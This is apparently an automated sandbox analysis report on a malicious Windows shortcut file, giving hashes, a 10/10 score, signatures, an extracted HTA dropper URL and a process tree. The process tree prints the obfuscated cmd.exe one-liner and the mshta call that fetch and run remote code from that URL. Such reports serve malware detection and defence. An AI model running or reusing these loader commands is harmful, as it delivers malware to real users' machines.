Analysis
- max time kernel
60s - max time network
62s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/08/2026, 15:00
Static task
static1
Behavioral task
behavioral1
Sample
DOC-DG8WQ7.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-DG8WQ7.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-DG8WQ7.lnk
- Size 1KB
- Sample260817-sdrb3stvfs
- SHA256 e914b11f4daad138fa8541c2360dc2985803caa58ee9df1a831d1c0b66efa414
- MD5 4127e7d4d086f4e55ba36f2a848ac3c9
- SHA1 7e98ba7df3cadce99ffa32a5a0c0bfbd6832e61f
- SHA512 dd0004f54b26c6d3687cda34ed386aae09fbdc3958df11dbf10d5d2c2fba9e911b1eacd867851ac7be41f4dff8e7e86bd276ab88d4def7042fc7fedbf72bab2f
- TLSH T1283124102FF90624F3B39F7684BB671089BBB99A8D14CA1D4141864D1032B01E6BAF7B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3360 cmd.exe 2404 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3360 wrote to memory of 2404 3360 cmd.exe 90 PID 2404 wrote to memory of 3324 2404 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DG8WQ7.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3360 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set LEr=msh&&set xjvqe=ta&&start "" !LEr!!xjvqe! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:3324
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